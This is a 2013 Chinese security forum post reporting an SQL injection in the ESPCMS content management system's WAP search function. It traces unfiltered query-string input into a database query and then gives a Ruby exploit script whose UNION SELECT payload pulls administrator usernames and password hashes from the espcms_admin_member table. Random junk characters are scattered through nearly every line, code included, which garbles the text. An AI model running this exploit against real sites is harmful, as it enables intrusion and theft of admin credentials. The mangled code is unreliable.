找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2224|回复: 0
打印 上一主题 下一主题

espcms wap模块搜索处SQL注入

[复制链接]
跳转到指定楼层
楼主
发表于 2013-7-27 18:31:52 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
0×0 漏洞概述0×1 漏洞细节
+ I' J2 @, |+ _5 Z8 O' }0×2 PoC/ ^  ]$ }% H3 q- I+ I

* K2 r& o! ^: e. Y1 Z* n2 r: i
. H6 ~3 z* m) s. K8 K0 ~& y
3 {, A0 S, V# v. n0×0 漏洞概述6 t8 G% H9 E8 Q2 w2 M* _9 f; ~

8 r  l1 H7 s4 s0 D6 H* C7 F. ~  k易思ESPCMS企业网站管理系统基于LAMP开发构建的企业网站管理系统,它具有操作简单、功能强大、稳定性好、扩展性及安全性强、二次开发及后期维护方便,可以帮您迅速、轻松地构建起一个强大专业的企业网站。
% a3 r5 n  \6 {& \其在处理传入的参数时考虑不严谨导致SQL注入发生+ U; T+ ^* T' E3 {  S) ~

0 [  G; q- q% A+ X. f: a# V5 i8 J5 g
0×1 漏洞细节2 l9 H0 s; w6 T# ?# y) a# f+ s
) }; T+ X% H3 L, `9 X+ b1 J! h" f
变量的传递过程是$_SERVER['QUERY_STRING']->$urlcode->$output->$value->$db_where->$sql->mysql_query,整个过程无过滤导致了注入的发生。
, P- S, l' k: f% R0 s- e$ z- H( t正因为变量是从$_SERVER['QUERY_STRING']中去取的,所以正好避开了程序的过滤。  c1 u& m* h1 J( p/ `, M( N
而注入的变量是数组的值,并非数组的key,所以也没过被过滤,综合起来形成了一个比较少见的SQL注入  l3 [) Z8 x! G( L. h

  C9 z' H/ ~* V- W6 k1 y1 B( `0 o在/interface/3gwap_search.php文件的in_result函数中:
* Q' e8 y$ ^* b9 T& k/ @/ {
/ j% {. j! P; ]$ E, s4 q9 D# Y! D2 U0 z

. d. ^& k6 q9 E8 ]- z       function in_result() {
$ t* h  m3 Z$ g# Y; @: V4 Z0 l            ... ... ... ... ... ... ... ... ...
  \- L, F5 A" L/ C8 O, m( k            $urlcode = $_SERVER[ 'QUERY_STRING '];
% _1 j4 d, k" ]- Z            parse_str(html_entity_decode($urlcode), $output);
6 _7 [/ K  t0 P. L9 j: g
- W- j# Y# ^# }4 \2 a            ... ... ... ... ... ... ... ... ...
. q. ~8 Q1 f+ T. m! G            if (is_array($output['attr' ]) && count($output['attr']) > 0) {8 y4 ^1 T2 L/ {; ]7 @7 m

1 C& _6 c# @$ U) [9 R                  $db_table = db_prefix . 'model_att';0 S! D/ ~6 Y: ^9 B. Y* a
! y" R: P! e9 e& c
                   foreach ($output['attr' ] as $key => $value) {6 @3 J4 b4 s3 O4 {9 q& I6 q
                         if ($value) {4 J/ O! ?5 g5 v
  G+ Y) y" U0 I/ I3 w1 K
                              $key = addslashes($key);
  p5 t" p: `1 E5 c! A                              $key = $this-> fun->inputcodetrim($key);8 f+ i9 \2 W2 c3 m  d0 [; ?
                              $db_att_where = " WHERE isclass=1 AND attrname='$key'";3 T2 J# K+ A5 c4 [) p7 q
                              $countnum = $this->db_numrows($db_table, $db_att_where);
* `8 `5 f# j# y) i                               if ($countnum > 0) {0 j) }1 D$ C. E' F( p9 t
                                    $db_where .= ' AND b.' . $key . '=\'' . $value . '\'' ;& Q7 ?% |! b" h" w
                              }( A; ~4 ~9 ~) t
                        }1 q0 i- _3 G* ]3 S
                  }
  M; v7 m) c9 J' f9 x            }
4 g) U0 }9 l# H! y* Y            if (!empty ($keyword) && empty($keyname)) {+ R' t( g+ s3 ^
                  $keyname = 'title';" A2 j. j" J4 s6 W. f; Q) k
                  $db_where.= " AND a.title like '%$keyword%'" ;
5 B! ?2 ]# b0 f' D7 ^! ?5 r5 Q            } elseif (!empty ($keyword) && !empty($keyname)) {
. k( {7 O2 H" ?& Y" I                  $db_where.= " AND $keyname like '% $keyword%'";
4 e! m1 t$ {; b            }
0 x3 w6 v% }, f# r+ [/ j1 N            $pagemax = 15;
# m- J: l' Y: m
1 n( l: q# w5 s7 y# U            $pagesylte = 1;
8 h. c; O7 z' L; u. v; o1 w8 g' q
, X# g$ m  O) T8 V             if ($countnum > 0) {( B* J$ n2 C; E& s4 l* p

2 I! L1 g, O% P/ @$ Q5 s  d                  $numpage = ceil($countnum / $pagemax);
( `7 e0 `; q1 m( B1 f2 @            } else {
) ?+ r0 u! K/ T                  $numpage = 1;% z' K0 P4 j# b
            }
' x( r# T: ~! ?" I  p! ]& V            $sql = "SELECT b.*,a.* FROM " . db_prefix . "document AS a LEFT JOIN " . db_prefix . "document_attr AS b ON a.did=b.did " . $db_where . ' LIMIT 0,' . $pagemax;6 T/ }8 d" i& W8 p% R( r5 i0 r
            $this-> htmlpage = new PageBotton($sql, $pagemax, $page, $countnum, $numpage, $pagesylte, $this->CON ['file_fileex' ], 5, $this->lng['pagebotton' ], $this->lng['gopageurl'], 0);
& g; X( R$ Y) m- U3 p9 J5 j9 C$sql = $this-> htmlpage->PageSQL('a.did' , 'down' );            $rs = $this->db->query($sql);
; q% b' ?) o( v. R7 P            ... ... ... ... ... ... ... ... ...
# E' @6 x( Q) O: q& }( j; k      }
2 a+ Y+ Q0 G$ o$ c+ S; D0 K# n2 a: ], J
7 f0 ]1 r, J5 S1 ~  j: r' q) |; A' t& O. k0 V( ~( ]- E4 i' G
0×2 PoC
+ Z2 M; ]& @: ^% D1 f3 k7 G3 }
0 D; J0 l9 M) n

  J& g/ o: Z) y/ d- \4 brequire "net/http"1 r& @' S( S4 r# R% {

- {/ J" |8 ^0 V! U; r- }def request(method, url)! q9 I6 W9 [/ z$ Q! h' p# f. D/ V# G
    if method.eql?("get")
9 Q& D$ R$ I8 |+ z+ K% x+ a        uri = URI.parse(url)
7 O# G- V- N+ A: Q% ]) Q! W9 x        http = Net::HTTP.new(uri.host, uri.port)
/ h( y9 }1 S; r" O- J! U( d        response = http.request(Net::HTTP::Get.new(uri.request_uri)). `: p+ E7 j5 T0 h
        return response
5 w  R2 N8 O) `5 g. g6 |3 r3 C" n    end
, B! B5 P& w: w  c) M8 ]6 G" Dend
0 D$ C" S$ B: L2 T3 ~8 m& h9 U7 E& n; p1 s6 ]( v# ~* ?
doc =<<HERE6 b! V. D# j$ W  j# x
-------------------------------------------------------3 |) h% h3 p. }5 N+ P- B* o2 O- j. y# T
Espcms Injection Exploit: z$ P3 I6 f. k$ F  W' [* P' G* i: T
Author:ztz, S. a) `& d0 Z
Blog:http://ztz.fuzzexp.org/
' _: l1 P4 X7 k-------------------------------------------------------2 e/ d/ d, [, [2 b, w' @# F1 f  b

* M6 k: [2 d' FHERE
1 O4 z4 b1 _9 D3 o( l* f7 ~0 O7 I( ^# m* H$ c& T5 I
usage =<<HERE: }: G0 y6 F6 l2 M
Usage:         ruby #{$0} host port path* |/ j- O% n) _: ^4 _# g- ?
example:     ruby #{$0} www.target.com 80 /! d% X8 q: j1 ^! S
HERE7 A+ m3 }% J4 ~- t# m" G
, C5 P8 I0 i. Y4 e
puts doc
! q! E, x& q% ]( U! {if ARGV.length < 32 q  o) Q( h: Z) q
    puts usage8 u9 o  C! H7 W4 ?  c) c9 a2 G
else
6 a5 u* U, n- R    $host = ARGV[0]
8 J1 e/ U, F, K+ x    $port = ARGV[1]
: e( X( u; B7 u2 t2 Q) V: C/ q    $path = ARGV[2]- u$ b6 g# j/ m* L+ Q4 Y
# R3 N5 m4 b* P6 B- e
    puts "
  • send request..."3 _' C4 d4 h) O. k! P
        url = "http://#{$host}:#{$port}#{$path}wap/index.php?ac=search&at=result&lng=cn&mid=3&tid=11&keyword=1&keyname=a.title&countnum=1&' L4 [9 _- V7 D# v% x0 b: z
    attr[jobnum]=1%27%20and%201=2%20UNION%20SELECT%201,2,3,4,5,6,7,8,9,10,11,12,13+ H7 G; I3 U8 w/ L* J
    ,14,15,16,17,18,19,20,21,22,23,24,25,concat%28username,CHAR%2838%29,password%29,272 s. K, [  x  P8 T
    ,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45%20from%20espcms_admin_member;%23"% U  L& i$ h/ y8 A
        response = request("get", url)
    7 u+ m% D/ x8 W    result = response.body.scan(/\w+&\w{32}/)
    2 T6 B9 @/ g9 i( b; p7 s    puts result( k7 }% q1 c! l3 V
    end
    ( D2 ?0 }$ N- Z6 u8 D" B, N- L8 H! I
  • 回复

    使用道具 举报

    您需要登录后才可以回帖 登录 | 立即注册

    本版积分规则

    快速回复 返回顶部 返回列表